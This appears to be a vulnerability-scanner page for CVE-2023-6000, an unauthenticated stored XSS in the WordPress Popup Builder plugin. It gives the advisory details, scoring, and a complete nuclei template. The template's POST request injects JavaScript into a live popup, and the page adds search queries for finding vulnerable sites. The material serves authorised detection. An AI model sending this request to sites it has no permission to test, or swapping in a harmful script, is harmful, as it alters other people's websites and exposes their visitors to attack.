WordPress Popup Builder <= 4.2.3 - Unauthenticated Stored XSS

mediumseverity

6.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

The Popup Builder WordPress plugin before 4.2.3 does not prevent simple visitors from updating existing popups, and injecting raw JavaScript in them, which could lead to Stored XSS attacks.

Impact

Unauthenticated attackers can update existing popups and inject raw JavaScript to achieve stored cross-site scripting attacks against WordPress Popup Builder users.

Fix

Fixed in 4.2.3

How to confirm it

Send: GET /
Send: POST /
Positive when: contains_all(body, 'alert(\'document.domain\')', 'popup-builder') and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-6000 -u <target>

The full check

id: CVE-2023-6000

info:
  name: WordPress Popup Builder <= 4.2.3 - Unauthenticated Stored XSS
  author: riteshs4hu
  severity: medium
  description: |
    The Popup Builder WordPress plugin before 4.2.3 does not prevent simple visitors from updating existing popups, and injecting raw JavaScript in them, which could lead to Stored XSS attacks.
  impact: |
    Unauthenticated attackers can update existing popups and inject raw JavaScript to achieve stored cross-site scripting attacks against WordPress Popup Builder users.
  remediation: Fixed in 4.2.3
  reference:
    - https://wordpress.org/plugins/popup-builder/
    - https://nvd.nist.gov/vuln/detail/cve-2023-6000
    - https://wpscan.com/vulnerability/cdb3a8bd-4ee0-4ce0-9029-0490273bcfc8/
    - https://github.com/rxerium/CVE-2023-6000
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6000
    cwe-id: CWE-79
    epss-score: 0.01999
    epss-percentile: 0.80914
    cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sygnoos
    product: popup_builder
    framework: wordpress
    fofa-query: body="/wp-content/plugins/popup-builder"
    publicwww-query: "/wp-content/plugins/popup-builder/"
  tags: cve,cve2023,wordpress,wp-plugin,wp,wpscan,xss,stored,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: popup_id
        group: 1
        regex:
          - 'sgpb-main-popup-data-container-([0-9]+)'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sgpb-is-preview=1&post_ID={{popup_id}}&sgpb-type=html&sgpb-WillOpen=alert('document.domain');

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'alert(\'document.domain\')', 'popup-builder')
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from